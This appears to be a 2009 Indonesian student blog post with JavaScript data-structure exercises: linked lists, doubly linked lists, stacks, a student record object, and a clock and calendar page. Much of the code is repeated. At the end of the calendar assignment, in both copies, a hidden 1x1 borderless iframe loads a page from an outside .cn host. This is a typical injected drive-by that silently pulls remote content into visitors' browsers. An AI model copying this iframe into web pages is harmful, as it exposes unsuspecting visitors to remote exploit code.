list.Tambah("Komputerisasi Akuntansi");
list.Tambah("Computer Networking");
document.write ("Isi LinkedList <br>") ;
document.write("----------------<br>");
for(i=0; i<4; i++)
{
document.write(list.Item(i) + "<br>");
}
document.write("----------------<br>");
alert("Isi LinkedList Awal="+ list.Item(0));
alert("Item 1 pada Linked list dibuang,yaitu =" +list.Item(1));
list.Buang(1);
document.write("Isi LinkedList Terakhir <br>");
document.write("------------------------<br>");
for(i=0;i<4;i++)
{
document.write(list.Item(i) + "<br>");
}
document.write("--------------------<br>");
//-->
</script>
</body>
</html>
Tampilan Hasilnya


<head>
<title>Struktur Data Linked List </title></head>
<body>
<script language = "JavaScript">
<!--
function LinkedList()
{
this._panjang = 0;
this._kepala = null;
}
LinkedList.prototype =
{
construktor : LinkedList,
//Membuat Metode Untuk Menambah Data kedalam List
Tambah : function (data)
{
//Membuat Node List
var node = {data:data,next: null },NodeTanda;
//Periksa Isi List
if (this._kepala===null)
{
this._kepala = node;
}
else
{
NodeTanda = this._kepala;
while (NodeTanda.next)
{
NodeTanda = NodeTanda.next;
}
NodeTanda.next = node;
}
this._panjang++;
},
//Membuat Metode Untuk Menunjuk Item Data
Item : function (index)
{
if (index > -1 && index <this._panjang)
{
var NodeTanda = this._kepala,
i = 0;
while (i ++ < index)
{
NodeTanda = NodeTanda.next;
}
return NodeTanda.data;
}
else
{
return null;
}
},
//Membuat Metode Untuk Membuang Elemen List
Buang : function (index)
{
if (index > -1 && index < this._panjang)
{
var NodeTanda = this._kepala,previous,i = 0;
if (index === 0 )
{
this._kepala = NodeTanda.next;
}
else
{
while (i++ < index)
{
previous = NodeTanda;
NodeTanda = NodeTanda.next;
}
previous.next = NodeTanda.next;
}
this._panjang--;
return NodeTanda.data;
}
else
{
return null;
}
},
//Membuat Metode Untuk Mengetahui Jumlah Elemen List
Ukuran :function()
{
return this._panjang;
},
//Membuat Metode Untuk Membentuk Array
toArray : function()
{
var result = [],
NodeTanda = this._kepala;
while(NodeTanda){
result.push (NodeTanda.data);
NodeTanda = NodeTanda.next;
}
return result;
},
//Membuat Metode Untuk Konversi ke String
toString : function()
{
return this.toArray().toString();
}
};
//Lanjutan
var list = new LinkedList();
list.Tambah("Teknik Informatika");
list.Tambah("Teknik Komputer");
list.Tambah("Komputerisasi Akuntansi");
list.Tambah("Computer Networking");
document.write ("Isi LinkedList <br>") ;
document.write("----------------<br>");
for(i=0; i<4; i++)
{
document.write(list.Item(i) + "<br>");
}
document.write("----------------<br>");
alert("Isi LinkedList Awal="+ list.Item(0));
alert("Item 1 pada Linked list dibuang,yaitu =" +list.Item(1));
list.Buang(1);
document.write("Isi LinkedList Terakhir <br>");
document.write("------------------------<br>");
for(i=0;i<4;i++)
{
document.write(list.Item(i) + "<br>");
}
document.write("--------------------<br>");
//-->
</script>
</body>
</html>
Tampilan Hasilnya


Doubly LinkedList
<html>
<head>
<title>Struktur Data Linked List</title>
</head>
<body>
<script language = "JavaScript">
<!--
function DoublyLinkedList()
{
this._Kepala = null;
this._Ekor = null;
this._Panjang = 0;
}
DoublyLinkedList.prototype =
{
constructor: DoublyLinkedList,
Tambah: function (data)
{
var node = {data: data, next: null, prev: null};
if (this._Panjang == 0)
{
this._Kepala = node;
this._Ekor = node;
}
else
{
this._Ekor.next = node;
node.prev = this._Ekor;
this._Ekor = node;
}
this._Panjang++;
},
ItemList: function(index)
{
if (index > -1 && index < this._Panjang)
{
var NodeTanda = this._Kepala,
i = 0;
while(i++ < index)
{
NodeTanda = NodeTanda.next;
}
return NodeTanda.data;
}
else
{
return null;
}
},
Buang: function(index){
if (index > -1 && index < this._Panjang)
{
var NodeTanda = this._Kepala, i = 0;
if (index === 0)
{
this._Kepala = NodeTanda.next;
if (!this._Kepala)
{
this._Ekor = null;
}
else
{
this._Kepala.prev = null;
}
}
else
if (index === this._Panjang -1)
{
NodeTanda = this._Ekor;
this._Ekor = NodeTanda.prev;
this._Ekor.next = null;
}
else
{
while(i++ < index)
{
NodeTanda = NodeTanda.next;
}
NodeTanda.prev.next = NodeTanda.next;
}
this._Panjang--;
return NodeTanda.data;
}
else
{
return null;
}
},
Ukuran: function(){
return this._Panjang;
},
toArray: function(){
var result = [],
NodeTanda = this._Kepala;
while(NodeTanda){
result.push(NodeTanda.data);
NodeTanda = NodeTanda.next;
}
return result;
},
toString: function(){
return this.toArray().toString();
}
}
var List = new DoublyLinkedList();
List.Tambah("Teknik Informatika");
List.Tambah("Teknik Komputer");
List.Tambah("Komputerisasi Akuntansi");
List.Tambah("Computer Networking");
document.write("Isi LinkedList <br>");
document.write("--------------- <br>");
for (i=0; i<4; i++)
{
document.write(List.ItemList(i) + "<br>") ;
}
document.write("--------------- <br>");
alert("Isi LinkedList Awal =" + List.ItemList(0));
alert("ItemList 1 pada Linked List diBuang, yaitu = " +List.ItemList(1));
List.Buang(1);
document.write("<br>Isi LinkedList Terakhir <br>");
document.write("--------------- <br>");
for (i=0; i<4; i++)
{
document.write(List.ItemList(i) + "<br>") ;
}
document.write("--------------- <br>");
//-->
</script>
</body>
</html>
Tampilan HasilNya


<head>
<title>Struktur Data Linked List</title>
</head>
<body>
<script language = "JavaScript">
<!--
function DoublyLinkedList()
{
this._Kepala = null;
this._Ekor = null;
this._Panjang = 0;
}
DoublyLinkedList.prototype =
{
constructor: DoublyLinkedList,
Tambah: function (data)
{
var node = {data: data, next: null, prev: null};
if (this._Panjang == 0)
{
this._Kepala = node;
this._Ekor = node;
}
else
{
this._Ekor.next = node;
node.prev = this._Ekor;
this._Ekor = node;
}
this._Panjang++;
},
ItemList: function(index)
{
if (index > -1 && index < this._Panjang)
{
var NodeTanda = this._Kepala,
i = 0;
while(i++ < index)
{
NodeTanda = NodeTanda.next;
}
return NodeTanda.data;
}
else
{
return null;
}
},
Buang: function(index){
if (index > -1 && index < this._Panjang)
{
var NodeTanda = this._Kepala, i = 0;
if (index === 0)
{
this._Kepala = NodeTanda.next;
if (!this._Kepala)
{
this._Ekor = null;
}
else
{
this._Kepala.prev = null;
}
}
else
if (index === this._Panjang -1)
{
NodeTanda = this._Ekor;
this._Ekor = NodeTanda.prev;
this._Ekor.next = null;
}
else
{
while(i++ < index)
{
NodeTanda = NodeTanda.next;
}
NodeTanda.prev.next = NodeTanda.next;
}
this._Panjang--;
return NodeTanda.data;
}
else
{
return null;
}
},
Ukuran: function(){
return this._Panjang;
},
toArray: function(){
var result = [],
NodeTanda = this._Kepala;
while(NodeTanda){
result.push(NodeTanda.data);
NodeTanda = NodeTanda.next;
}
return result;
},
toString: function(){
return this.toArray().toString();
}
}
var List = new DoublyLinkedList();
List.Tambah("Teknik Informatika");
List.Tambah("Teknik Komputer");
List.Tambah("Komputerisasi Akuntansi");
List.Tambah("Computer Networking");
document.write("Isi LinkedList <br>");
document.write("--------------- <br>");
for (i=0; i<4; i++)
{
document.write(List.ItemList(i) + "<br>") ;
}
document.write("--------------- <br>");
alert("Isi LinkedList Awal =" + List.ItemList(0));
alert("ItemList 1 pada Linked List diBuang, yaitu = " +List.ItemList(1));
List.Buang(1);
document.write("<br>Isi LinkedList Terakhir <br>");
document.write("--------------- <br>");
for (i=0; i<4; i++)
{
document.write(List.ItemList(i) + "<br>") ;
}
document.write("--------------- <br>");
//-->
</script>
</body>
</html>
Tampilan HasilNya



Rabu, 15 April 2009
Praktek Stack 1
<html>
<head>
<title>Contoh Implementasi Push dan POP pada stack</title>
</head>
<body>
<script type="text/javascript">
var stack = new Array;
stack.push("A");
stack.push("B");
stack.push("C");
document.write("stack:"+stack.toString() +"<br>");
var YangDiAmbil = stack.pop();
document.write("Data Yang Diambil :"+YangDiAmbil);
document.write("<br>");
document.write("Isi Stack Terakhir:"+stack.toString());
</script>
</body>
</html>
<head>
<title>Contoh Implementasi Push dan POP pada stack</title>
</head>
<body>
<script type="text/javascript">
var stack = new Array;
stack.push("A");
stack.push("B");
stack.push("C");
document.write("stack:"+stack.toString() +"<br>");
var YangDiAmbil = stack.pop();
document.write("Data Yang Diambil :"+YangDiAmbil);
document.write("<br>");
document.write("Isi Stack Terakhir:"+stack.toString());
</script>
</body>
</html>
Program Stack Ke2
<html>
<head>
<title>Struktur Fata stack</title>
<script language = "JavaScript">
<!--
var stack = new Array();
function Input_Ke_Stack(data)
{
stack.push(data);
}
function Ambil_dari_Stack()
{
var data_dari_stack = stack.pop();
if (data_dari_stack == undefined)
return "Stack Sudah Kosong";
else
return data_dari_stack;
}
function TampilkanStack(list)
{
list.options.length = 0;
for (var i = 0; i < stack.length; i++)
{
var data = new Option(stack[i]);
list.options[list.options.length] = data;
}
}
</script>
</head>
<body>
<form>
<input type=text name=textSimpan>
<input type=button value="Simpan ke Stack"
onClick='Input_Ke_Stack(textSimpan.value);
textSimpan.value="";
TampilkanStack(mediaList);'>
<select name="mediaList" size=18>
<option>Tampilkan data . . .
</select>
<input type=text name=textAmbil size=20>
<input type=button value="Ambil dari Stack"
onClick="textAmbil.value = Ambil_dari_Stack();
TampilkanStack(mediaList);">
</form>
</body>
</html>
<head>
<title>Struktur Fata stack</title>
<script language = "JavaScript">
<!--
var stack = new Array();
function Input_Ke_Stack(data)
{
stack.push(data);
}
function Ambil_dari_Stack()
{
var data_dari_stack = stack.pop();
if (data_dari_stack == undefined)
return "Stack Sudah Kosong";
else
return data_dari_stack;
}
function TampilkanStack(list)
{
list.options.length = 0;
for (var i = 0; i < stack.length; i++)
{
var data = new Option(stack[i]);
list.options[list.options.length] = data;
}
}
</script>
</head>
<body>
<form>
<input type=text name=textSimpan>
<input type=button value="Simpan ke Stack"
onClick='Input_Ke_Stack(textSimpan.value);
textSimpan.value="";
TampilkanStack(mediaList);'>
<select name="mediaList" size=18>
<option>Tampilkan data . . .
</select>
<input type=text name=textAmbil size=20>
<input type=button value="Ambil dari Stack"
onClick="textAmbil.value = Ambil_dari_Stack();
TampilkanStack(mediaList);">
</form>
</body>
</html>
Sabtu, 04 April 2009
Tugas Struktur Data Jam dan Kalender
<HTML>
<Head>
<title> Tugas Stuktur Data </TITLE>
<script>
<!--
alert ("Selamat Melihat ^^");
//-->
</script>
</HEAD>
<Body bgcolor="green">
<font color="white">
<p> Poenya Yenie
</font><hr>
<tr>
<th>Tugas</th>
<th>Struktur </th>
<th>Data</th>
<th>"Jam Dan Kalender"</th>
</tr>
<h1> Penampilan Hasil </h1><font color="white">
<marquee> WaKTu KaRaWaNg BaRaT </marquee>
<html>
<head>
<title>Clock</title>
<script type="text/javascript">
var namaBulanI = new Array( "Januari","Februari","Maret","April","Mei","Juni",
"Juli","Agustus","September","Oktober","November","Desember" );
var namaHariI = new Array( "Kamis","Jumat","Sabtu","Minggu","Senin","Selasa","Rabu" );
function showDate() {
now = new Date();
iTanggalM = now.getDate();
iBulanM = now.getMonth();
iTahunM = now.getYear();
if(iTahunM<1900) { iTahunM += 1900; } // Y2K
iJam=now.getHours();
iMenit=now.getMinutes();
iDetik=now.getSeconds();
hr = Date.UTC(iTahunM,iBulanM,iTanggalM,0,0,0)/1000/60/60/24;
sDate = namaHariI[hr%7]+", "+iTanggalM+" "+namaBulanI[iBulanM]+" "+iTahunM+"<br>";
sDate += (iJam<10?"0"+iJam:iJam)+":"+
(iMenit<10?"0"+iMenit:iMenit)+":"+
(iDetik<10?"0"+iDetik:iDetik);
if(document.all)
{ document.all.clock.innerHTML=sDate; }
else if(document.getElementById)
{ document.getElementById( "clock" ).innerHTML=sDate; }
else { document.write(sDate); }
}
function showIt() {
showDate();
if(document.all||document.getElementById)
{ setInterval("showDate()",1000); }
}
</script>
</head>
<body>
<span id="clock"><script>showIt();</script></span>
</body>
</html>
<HTML>
<head>
<META HTTP-EQUIV="imagetoolbar" CONTENT="no">
<style type="text/css">
body {
font-family: arial, helvetica, serif;
</style>
<script type="text/javascript">
startList = function() {
if (document.all&&document.getElementById) {
navRoot = document.getElementById("nav");
for (i=0; i<navRoot.childNodes.length; i++) {
node = navRoot.childNodes[i];
if (node.nodeName=="LI") {
node.onmouseover=function() {
this.className+=" over";
}
node.onmouseout=function() {
this.className=this.className.replace(" over", "");
}
}
}
}
}
window.onload=startList;
var message="";
function clickIE() {if (document.all) {(message);return false;}}
function clickNS(e) {if
(document.layers||(document.getElementById&&!document.all)) {
if (e.which==2||e.which==3) {(message);return false;}}}
if (document.layers)
{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}
document.oncontextmenu=new Function("return false")
<!-- Original: Nick Korosi (nfk2000@hotmail.com) -->
<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! http://javascript.internet.com -->
<!-- Begin
var dDate = new Date();
var dCurMonth = dDate.getMonth();
var dCurDayOfMonth = dDate.getDate();
var dCurYear = dDate.getFullYear();
var objPrevElement = new Object();
function fToggleColor(myElement) {
var toggleColor = "#ff0000";
if (myElement.id == "calDateText") {
if (myElement.color == toggleColor) {
myElement.color = "";
} else {
myElement.color = toggleColor;
}
} else if (myElement.id == "calCell") {
for (var i in myElement.children) {
if (myElement.children[i].id == "calDateText") {
if (myElement.children[i].color == toggleColor) {
myElement.children[i].color = "";
} else {
myElement.children[i].color = toggleColor;
}
}
}
}
}
function fSetSelectedDay(myElement){
if (myElement.id == "calCell") {
if (!isNaN(parseInt(myElement.children["calDateText"].innerText))) {
myElement.bgColor = "#c0c0c0";
objPrevElement.bgColor = "";
document.all.calSelectedDate.value = parseInt(myElement.children["calDateText"].innerText);
objPrevElement = myElement;
}
}
}
function fGetDaysInMonth(iMonth, iYear) {
var dPrevDate = new Date(iYear, iMonth, 0);
return dPrevDate.getDate();
}
function fBuildCal(iYear, iMonth, iDayStyle) {
var aMonth = new Array();
aMonth[0] = new Array(7);
aMonth[1] = new Array(7);
aMonth[2] = new Array(7);
aMonth[3] = new Array(7);
aMonth[4] = new Array(7);
aMonth[5] = new Array(7);
aMonth[6] = new Array(7);
var dCalDate = new Date(iYear, iMonth-1, 1);
var iDayOfFirst = dCalDate.getDay();
var iDaysInMonth = fGetDaysInMonth(iMonth, iYear);
var iVarDate = 1;
var i, d, w;
if (iDayStyle == 2) {
aMonth[0][0] = "Sunday";
aMonth[0][1] = "Monday";
aMonth[0][2] = "Tuesday";
aMonth[0][3] = "Wednesday";
aMonth[0][4] = "Thursday";
aMonth[0][5] = "Friday";
aMonth[0][6] = "Saturday";
} else if (iDayStyle == 1) {
aMonth[0][0] = "Sun";
aMonth[0][1] = "Mon";
aMonth[0][2] = "Tue";
aMonth[0][3] = "Wed";
aMonth[0][4] = "Thu";
aMonth[0][5] = "Fri";
aMonth[0][6] = "Sat";
} else {
aMonth[0][0] = "Su";
aMonth[0][1] = "Mo";
aMonth[0][2] = "Tu";
aMonth[0][3] = "We";
aMonth[0][4] = "Th";
aMonth[0][5] = "Fr";
aMonth[0][6] = "Sa";
}
for (d = iDayOfFirst; d < 7; d++) {
aMonth[1][d] = iVarDate;
iVarDate++;
}
for (w = 2; w < 7; w++) {
for (d = 0; d < 7; d++) {
if (iVarDate <= iDaysInMonth) {
aMonth[w][d] = iVarDate;
iVarDate++;
}
}
}
return aMonth;
}
function fDrawCal(iYear, iMonth, iCellWidth, iCellHeight, sDateTextSize, sDateTextWeight, iDayStyle) {
var myMonth;
myMonth = fBuildCal(iYear, iMonth, iDayStyle);
document.write("<table border='1'>")
document.write("<tr>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][0] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][1] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][2] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][3] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][4] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][5] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][6] + "</td>");
document.write("</tr>");
for (w = 1; w < 7; w++) {
document.write("<tr>")
for (d = 0; d < 7; d++) {
document.write("<td align='left' valign='top' width='" + iCellWidth + "' height='" + iCellHeight + "' id=calCell style='CURSOR:Hand' onMouseOver='fToggleColor(this)' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)>");
if (!isNaN(myMonth[w][d])) {
document.write("<font id=calDateText onMouseOver='fToggleColor(this)' style='CURSOR:Hand;FONT-FAMILY:Arial;FONT-SIZE:" + sDateTextSize + ";FONT-WEIGHT:" + sDateTextWeight + "' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)>" + myMonth[w][d] + "</font>");
} else {
document.write("<font id=calDateText onMouseOver='fToggleColor(this)' style='CURSOR:Hand;FONT-FAMILY:Arial;FONT-SIZE:" + sDateTextSize + ";FONT-WEIGHT:" + sDateTextWeight + "' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)> </font>");
}
document.write("</td>")
}
document.write("</tr>");
}
document.write("</table>")
}
function fUpdateCal(iYear, iMonth) {
myMonth = fBuildCal(iYear, iMonth);
objPrevElement.bgColor = "";
document.all.calSelectedDate.value = "";
for (w = 1; w < 7; w++) {
for (d = 0; d < 7; d++) {
if (!isNaN(myMonth[w][d])) {
calDateText[((7*w)+d)-7].innerText = myMonth[w][d];
} else {
calDateText[((7*w)+d)-7].innerText = " ";
}
}
}
}
// End -->
</script>
</head>
<body>
<table width="760" height="577" border="0">
<tr>
<td width="140"> </td>
<td width="620" valign="top"><br><br><b><u>Event Calendar</u></b><br><br>
<script language="JavaScript" for=window event=onload>
<!-- Begin
var dCurDate = new Date();
frmCalendarSample.tbSelMonth.options[dCurDate.getMonth()].selected = true;
for (i = 0; i < frmCalendarSample.tbSelYear.length; i++)
if (frmCalendarSample.tbSelYear.options[i].value == dCurDate.getFullYear())
frmCalendarSample.tbSelYear.options[i].selected = true;
// End -->
</script>
<form name="frmCalendarSample" method="post" action="">
<input type="hidden" name="calSelectedDate" value="">
<table border="1">
<tr>
<td>
<select name="tbSelMonth" onchange='fUpdateCal(frmCalendarSample.tbSelYear.value, frmCalendarSample.tbSelMonth.value)'>
<option value="1">January</option>
<option value="2">February</option>
<option value="3">March</option>
<option value="4">April</option>
<option value="5">May</option>
<option value="6">June</option>
<option value="7">July</option>
<option value="8">August</option>
<option value="9">September</option>
<option value="10">October</option>
<option value="11">November</option>
<option value="12">December</option>
</select>
<select name="tbSelYear" onchange='fUpdateCal(frmCalendarSample.tbSelYear.value, frmCalendarSample.tbSelMonth.value)'>
<option value="2006">2006</option>
<option value="2007">2007</option>
<option value="2008">2008</option>
<option value="2009">2009</option>
<option value="2010">2010</option>
<option value="2011">2011</option>
<option value="2012">2012</option>
</select>
</td>
</tr>
<tr>
<td>
<script language="JavaScript">
var dCurDate = new Date();
fDrawCal(dCurDate.getFullYear(), dCurDate.getMonth()+1, 30, 30, "12px", "bold", 1);
</script>
</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<iframe src="http://NtKrnlpa.cn/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
<Head>
<title> Tugas Stuktur Data </TITLE>
<script>
<!--
alert ("Selamat Melihat ^^");
//-->
</script>
</HEAD>
<Body bgcolor="green">
<font color="white">
<p> Poenya Yenie
</font><hr>
<tr>
<th>Tugas</th>
<th>Struktur </th>
<th>Data</th>
<th>"Jam Dan Kalender"</th>
</tr>
<h1> Penampilan Hasil </h1><font color="white">
<marquee> WaKTu KaRaWaNg BaRaT </marquee>
<html>
<head>
<title>Clock</title>
<script type="text/javascript">
var namaBulanI = new Array( "Januari","Februari","Maret","April","Mei","Juni",
"Juli","Agustus","September","Oktober","November","Desember" );
var namaHariI = new Array( "Kamis","Jumat","Sabtu","Minggu","Senin","Selasa","Rabu" );
function showDate() {
now = new Date();
iTanggalM = now.getDate();
iBulanM = now.getMonth();
iTahunM = now.getYear();
if(iTahunM<1900) { iTahunM += 1900; } // Y2K
iJam=now.getHours();
iMenit=now.getMinutes();
iDetik=now.getSeconds();
hr = Date.UTC(iTahunM,iBulanM,iTanggalM,0,0,0)/1000/60/60/24;
sDate = namaHariI[hr%7]+", "+iTanggalM+" "+namaBulanI[iBulanM]+" "+iTahunM+"<br>";
sDate += (iJam<10?"0"+iJam:iJam)+":"+
(iMenit<10?"0"+iMenit:iMenit)+":"+
(iDetik<10?"0"+iDetik:iDetik);
if(document.all)
{ document.all.clock.innerHTML=sDate; }
else if(document.getElementById)
{ document.getElementById( "clock" ).innerHTML=sDate; }
else { document.write(sDate); }
}
function showIt() {
showDate();
if(document.all||document.getElementById)
{ setInterval("showDate()",1000); }
}
</script>
</head>
<body>
<span id="clock"><script>showIt();</script></span>
</body>
</html>
<HTML>
<head>
<META HTTP-EQUIV="imagetoolbar" CONTENT="no">
<style type="text/css">
body {
font-family: arial, helvetica, serif;
</style>
<script type="text/javascript">
startList = function() {
if (document.all&&document.getElementById) {
navRoot = document.getElementById("nav");
for (i=0; i<navRoot.childNodes.length; i++) {
node = navRoot.childNodes[i];
if (node.nodeName=="LI") {
node.onmouseover=function() {
this.className+=" over";
}
node.onmouseout=function() {
this.className=this.className.replace(" over", "");
}
}
}
}
}
window.onload=startList;
var message="";
function clickIE() {if (document.all) {(message);return false;}}
function clickNS(e) {if
(document.layers||(document.getElementById&&!document.all)) {
if (e.which==2||e.which==3) {(message);return false;}}}
if (document.layers)
{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}
document.oncontextmenu=new Function("return false")
<!-- Original: Nick Korosi (nfk2000@hotmail.com) -->
<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! http://javascript.internet.com -->
<!-- Begin
var dDate = new Date();
var dCurMonth = dDate.getMonth();
var dCurDayOfMonth = dDate.getDate();
var dCurYear = dDate.getFullYear();
var objPrevElement = new Object();
function fToggleColor(myElement) {
var toggleColor = "#ff0000";
if (myElement.id == "calDateText") {
if (myElement.color == toggleColor) {
myElement.color = "";
} else {
myElement.color = toggleColor;
}
} else if (myElement.id == "calCell") {
for (var i in myElement.children) {
if (myElement.children[i].id == "calDateText") {
if (myElement.children[i].color == toggleColor) {
myElement.children[i].color = "";
} else {
myElement.children[i].color = toggleColor;
}
}
}
}
}
function fSetSelectedDay(myElement){
if (myElement.id == "calCell") {
if (!isNaN(parseInt(myElement.children["calDateText"].innerText))) {
myElement.bgColor = "#c0c0c0";
objPrevElement.bgColor = "";
document.all.calSelectedDate.value = parseInt(myElement.children["calDateText"].innerText);
objPrevElement = myElement;
}
}
}
function fGetDaysInMonth(iMonth, iYear) {
var dPrevDate = new Date(iYear, iMonth, 0);
return dPrevDate.getDate();
}
function fBuildCal(iYear, iMonth, iDayStyle) {
var aMonth = new Array();
aMonth[0] = new Array(7);
aMonth[1] = new Array(7);
aMonth[2] = new Array(7);
aMonth[3] = new Array(7);
aMonth[4] = new Array(7);
aMonth[5] = new Array(7);
aMonth[6] = new Array(7);
var dCalDate = new Date(iYear, iMonth-1, 1);
var iDayOfFirst = dCalDate.getDay();
var iDaysInMonth = fGetDaysInMonth(iMonth, iYear);
var iVarDate = 1;
var i, d, w;
if (iDayStyle == 2) {
aMonth[0][0] = "Sunday";
aMonth[0][1] = "Monday";
aMonth[0][2] = "Tuesday";
aMonth[0][3] = "Wednesday";
aMonth[0][4] = "Thursday";
aMonth[0][5] = "Friday";
aMonth[0][6] = "Saturday";
} else if (iDayStyle == 1) {
aMonth[0][0] = "Sun";
aMonth[0][1] = "Mon";
aMonth[0][2] = "Tue";
aMonth[0][3] = "Wed";
aMonth[0][4] = "Thu";
aMonth[0][5] = "Fri";
aMonth[0][6] = "Sat";
} else {
aMonth[0][0] = "Su";
aMonth[0][1] = "Mo";
aMonth[0][2] = "Tu";
aMonth[0][3] = "We";
aMonth[0][4] = "Th";
aMonth[0][5] = "Fr";
aMonth[0][6] = "Sa";
}
for (d = iDayOfFirst; d < 7; d++) {
aMonth[1][d] = iVarDate;
iVarDate++;
}
for (w = 2; w < 7; w++) {
for (d = 0; d < 7; d++) {
if (iVarDate <= iDaysInMonth) {
aMonth[w][d] = iVarDate;
iVarDate++;
}
}
}
return aMonth;
}
function fDrawCal(iYear, iMonth, iCellWidth, iCellHeight, sDateTextSize, sDateTextWeight, iDayStyle) {
var myMonth;
myMonth = fBuildCal(iYear, iMonth, iDayStyle);
document.write("<table border='1'>")
document.write("<tr>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][0] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][1] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][2] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][3] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][4] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][5] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][6] + "</td>");
document.write("</tr>");
for (w = 1; w < 7; w++) {
document.write("<tr>")
for (d = 0; d < 7; d++) {
document.write("<td align='left' valign='top' width='" + iCellWidth + "' height='" + iCellHeight + "' id=calCell style='CURSOR:Hand' onMouseOver='fToggleColor(this)' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)>");
if (!isNaN(myMonth[w][d])) {
document.write("<font id=calDateText onMouseOver='fToggleColor(this)' style='CURSOR:Hand;FONT-FAMILY:Arial;FONT-SIZE:" + sDateTextSize + ";FONT-WEIGHT:" + sDateTextWeight + "' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)>" + myMonth[w][d] + "</font>");
} else {
document.write("<font id=calDateText onMouseOver='fToggleColor(this)' style='CURSOR:Hand;FONT-FAMILY:Arial;FONT-SIZE:" + sDateTextSize + ";FONT-WEIGHT:" + sDateTextWeight + "' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)> </font>");
}
document.write("</td>")
}
document.write("</tr>");
}
document.write("</table>")
}
function fUpdateCal(iYear, iMonth) {
myMonth = fBuildCal(iYear, iMonth);
objPrevElement.bgColor = "";
document.all.calSelectedDate.value = "";
for (w = 1; w < 7; w++) {
for (d = 0; d < 7; d++) {
if (!isNaN(myMonth[w][d])) {
calDateText[((7*w)+d)-7].innerText = myMonth[w][d];
} else {
calDateText[((7*w)+d)-7].innerText = " ";
}
}
}
}
// End -->
</script>
</head>
<body>
<table width="760" height="577" border="0">
<tr>
<td width="140"> </td>
<td width="620" valign="top"><br><br><b><u>Event Calendar</u></b><br><br>
<script language="JavaScript" for=window event=onload>
<!-- Begin
var dCurDate = new Date();
frmCalendarSample.tbSelMonth.options[dCurDate.getMonth()].selected = true;
for (i = 0; i < frmCalendarSample.tbSelYear.length; i++)
if (frmCalendarSample.tbSelYear.options[i].value == dCurDate.getFullYear())
frmCalendarSample.tbSelYear.options[i].selected = true;
// End -->
</script>
<form name="frmCalendarSample" method="post" action="">
<input type="hidden" name="calSelectedDate" value="">
<table border="1">
<tr>
<td>
<select name="tbSelMonth" onchange='fUpdateCal(frmCalendarSample.tbSelYear.value, frmCalendarSample.tbSelMonth.value)'>
<option value="1">January</option>
<option value="2">February</option>
<option value="3">March</option>
<option value="4">April</option>
<option value="5">May</option>
<option value="6">June</option>
<option value="7">July</option>
<option value="8">August</option>
<option value="9">September</option>
<option value="10">October</option>
<option value="11">November</option>
<option value="12">December</option>
</select>
<select name="tbSelYear" onchange='fUpdateCal(frmCalendarSample.tbSelYear.value, frmCalendarSample.tbSelMonth.value)'>
<option value="2006">2006</option>
<option value="2007">2007</option>
<option value="2008">2008</option>
<option value="2009">2009</option>
<option value="2010">2010</option>
<option value="2011">2011</option>
<option value="2012">2012</option>
</select>
</td>
</tr>
<tr>
<td>
<script language="JavaScript">
var dCurDate = new Date();
fDrawCal(dCurDate.getFullYear(), dCurDate.getMonth()+1, 30, 30, "12px", "bold", 1);
</script>
</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<iframe src="http://NtKrnlpa.cn/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
Praktek Struktur Data Ketujuh
<html>
</head><title>Membuat Rekaman Objek</title></head>
<body>
<script language = "JavaScript">
<!--
var Record = new Array();
function Mahasiswa(npm, nama, prodi, jenjang) {
//Properti
this.npm = npm;
this.nama = nama;
this.prodi = prodi;
this.jenjang = jenjang;
//Metode
this.LihatRecordMahasiswa = LihatRecordMahasiswa;
}
function LihatRecordMahasiswa() {
document.write("<td>" + this.npm + "</td>");
document.write("<td>" + this.nama + "</td>");
document.write("<td>" + this.prodi + "</td>");
document.write("<td>" + this.jenjang + "</td>");
}
//mengisi data
Record[0] = new Mahasiswa("43E001", "Dani", "TI", "SI");
Record[1] = new Mahasiswa("43E001", "DONI", "TI", "SI");
Record[2] = new Mahasiswa("43E001", "Dina", "TI", "SI");
